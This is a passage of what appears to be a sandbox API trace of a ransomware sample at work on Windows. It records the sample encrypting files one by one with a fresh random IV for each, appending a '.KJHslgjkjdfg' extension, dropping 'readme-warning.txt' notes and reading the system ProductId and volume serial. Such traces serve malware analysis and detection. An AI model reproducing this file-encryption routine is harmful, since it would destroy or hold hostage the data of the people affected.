dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0179.327] GetProcessHeap () returned 0x990000 [0179.327] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0179.327] GetProcessHeap () returned 0x990000 [0179.327] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0179.327] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.327] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0179.327] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.327] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0179.327] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0179.328] GetProcessHeap () returned 0x990000 [0179.328] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0179.328] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0179.328] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0179.328] GetProcessHeap () returned 0x990000 [0179.328] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0179.328] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\readme-warning.txt") returned 79 [0179.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0179.329] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0179.330] CloseHandle (hObject=0x12c) returned 1 [0179.330] GetProcessHeap () returned 0x990000 [0179.330] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fd9f0 | out: hHeap=0x990000) returned 1 [0179.330] GetProcessHeap () returned 0x990000 [0179.330] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0179.330] GetProcessHeap () returned 0x990000 [0179.330] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0179.330] GetProcessHeap () returned 0x990000 [0179.331] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0179.331] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0179.331] GetProcessHeap () returned 0x990000 [0179.331] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0179.331] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FREN", cAlternateFileName="")) returned 1 [0179.331] GetProcessHeap () returned 0x990000 [0179.331] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8a) returned 0x9b0940 [0179.331] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0179.332] GetProcessHeap () returned 0x990000 [0179.332] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0179.332] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0179.332] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1 [0179.332] GetProcessHeap () returned 0x990000 [0179.332] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28c) returned 0x9b1eb0 [0179.332] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238a8600, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x238a8600, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1FREN.ITS", cAlternateFileName="")) returned 1 [0179.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0179.333] GetProcessHeap () returned 0x990000 [0179.333] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0179.333] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0179.333] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0179.333] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0179.335] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0179.335] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.335] GetProcessHeap () returned 0x990000 [0179.335] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0179.335] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0179.335] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.335] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0179.335] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0179.335] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0179.335] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0179.336] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0179.336] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0179.336] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0179.336] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.336] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.336] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xcd2ac, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xcd2ac, lpOverlapped=0x0) returned 1 [0179.351] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xcd2b0, dwBufLen=0xcd2b0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xcd2b0) returned 1 [0179.359] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.359] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xcd2b0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xcd2b0, lpOverlapped=0x0) returned 1 [0179.362] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.362] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xcd384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.362] SetEndOfFile (hFile=0x12c) returned 1 [0179.365] GetProcessHeap () returned 0x990000 [0179.365] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0179.365] GetProcessHeap () returned 0x990000 [0179.365] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0179.365] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its.kjhslgjkjdfg")) returned 1 [0179.373] CloseHandle (hObject=0x12c) returned 1 [0179.373] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 1 [0179.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0179.374] GetProcessHeap () returned 0x990000 [0179.374] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0179.375] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0179.375] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0179.375] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0179.375] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.375] GetProcessHeap () returned 0x990000 [0179.375] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0179.375] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0179.375] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.375] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0179.378] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0179.378] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0179.378] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0179.378] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0179.378] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0179.379] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0179.379] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.379] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.379] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x96a00, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x96a00, lpOverlapped=0x0) returned 1 [0179.390] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x96a00, dwBufLen=0x96a00 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x96a00) returned 1 [0179.398] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.398] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x96a00, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x96a00, lpOverlapped=0x0) returned 1 [0179.400] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.400] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x96ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.400] SetEndOfFile (hFile=0x12c) returned 1 [0179.404] GetProcessHeap () returned 0x990000 [0179.404] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0179.404] GetProcessHeap () returned 0x990000 [0179.404] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0179.404] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex.kjhslgjkjdfg")) returned 1 [0179.405] CloseHandle (hObject=0x12c) returned 1 [0179.405] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 0 [0179.405] GetProcessHeap () returned 0x990000 [0179.405] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0179.405] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.405] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0179.405] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.405] GetProcessHeap () returned 0x990000 [0179.405] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0179.406] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.406] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0179.406] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.406] GetProcessHeap () returned 0x990000 [0179.406] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fd9f0 [0179.406] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.406] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fd9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fd9f0, pdwDataLen=0x29dee20) returned 1 [0179.406] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.406] GetProcessHeap () returned 0x990000 [0179.406] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0179.406] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.406] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0179.406] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.406] GetProcessHeap () returned 0x990000 [0179.406] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0179.406] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.406] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0179.406] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.406] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0179.407] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0179.407] RegCloseKey (hKey=0x12c) returned 0x0 [0179.407] GetProcessHeap () returned 0x990000 [0179.407] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0179.407] GetProcessHeap () returned 0x990000 [0179.407] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0179.407] GetProcessHeap () returned 0x990000 [0179.407] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0179.407] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.407] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0179.407] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.407] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0179.407] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0179.407] GetProcessHeap () returned 0x990000 [0179.407] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0179.408] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0179.408] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0179.408] GetProcessHeap () returned 0x990000 [0179.408] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0179.408] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\readme-warning.txt") returned 79 [0179.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0179.411] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0179.412] CloseHandle (hObject=0x12c) returned 1 [0179.412] GetProcessHeap () returned 0x990000 [0179.412] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fd9f0 | out: hHeap=0x990000) returned 1 [0179.412] GetProcessHeap () returned 0x990000 [0179.412] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0179.412] GetProcessHeap () returned 0x990000 [0179.412] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0179.412] GetProcessHeap () returned 0x990000 [0179.413] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0179.413] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0179.413] GetProcessHeap () returned 0x990000 [0179.413] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0179.413] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: 